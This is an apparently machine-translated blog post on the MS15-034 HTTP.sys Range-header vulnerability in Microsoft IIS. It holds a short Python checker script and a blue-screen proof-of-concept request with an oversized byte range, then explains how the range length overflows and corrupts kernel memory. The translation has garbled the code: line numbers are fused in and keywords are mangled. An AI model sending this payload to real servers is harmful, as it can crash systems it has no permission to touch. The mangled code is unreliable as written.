Microsoft IIS http. sys Vulnerability principle learning and POC

0, Ms15-034poc Core part (reference Sufeng):

1 socket.setdefaulttimeout (Timeout)2s =Socket.socket (socket.af_inet, socket. SOCK_STREAM)3 s.connect ((IP, int (port)))4Flag ="get/http/1.0\r\nhost:stuff\r\nrange:bytes=0-18446744073709551615\r\n\r\n"5 s.send (flag)6data = S.RECV (1024)7 s.close ()8 if 'requested Range not satisfiable' inchData and 'Server:microsoft' inchData:9Print "Vuln"

First, ms15-034 http. SYS FLAW principle textual research:

Principle Section Reference: http://www.ijiandao.com/safe/cto/12821.html

1 # Example: blue-screen POC 2 """ 3 get/welcome.png http/1.1 4 Host:poc 5 range:bytes=12345-18446744073709551615 6 """

The range field for this place is inside IIS http! Ulbuildfastrangecachemdlchain (the cache MDL chain used to generate response messages to describe the status line, header, and message body of the HTTP response.) This function is called once nt! iobuildpartialmdl function to generate the MDL chain. In this function, the value of length is computed:

Note that it is clear that the interval determined by virtualaddress and length must be a self-interval of the buffer described by SOURCEMDL, and that the violation of this requirement causes memory corruption in the vulnerability.

Call nt! for the 3rd time The parameters for IOBUILDPARTIALMDL to generate the message body MDL are as follows:

SOURCEMDL = 0xfffffa801a38cb60
sourcemdl.virtualaddress = 0xfffffa801ac94000
Sourcemdl.bytecount = 0x2d315
Sourcemdl.byteoffset = 0x0
TARGETMDL = 0xfffffa801a2ed580
targetmdl.virtualaddress = 0xfffffa801ac97000
Targetmdl.bytecount = 0xffffcfc7
Targetmdl.byteoffset = 0x39
virtualaddress = 0xfffffa801ac97039
Length = 0xffffcfc7

The length here is calculated based on the Range field in the header of the HTTP request message, as follows:

First, in http! In Ulpparserange, the range field is parsed to get rangebegin and rangeend.
Then, calculate rangelength = Rangeend–rangebegin + 1;
Finally, truncate the rangelength to 32 bits to get the length.
Take the range:bytes=12345-18446744073709551615 in the POC as an example:
Rangebegin = 12345 = 0x3039
RangeEnd = 18446744073709551615 = 0xffffffffffffffff
Rangelength = 0xffffffffffffffff–0x00003039 + 1 = 0xffffffffffffcfc7
Length = 0xffffcfc7
Apparently due to long length, the nt! was violated. IOBUILDPARTIALMDL, which in turn causes memory corruption.

Microsoft IIS http. sys Vulnerability principle learning and POC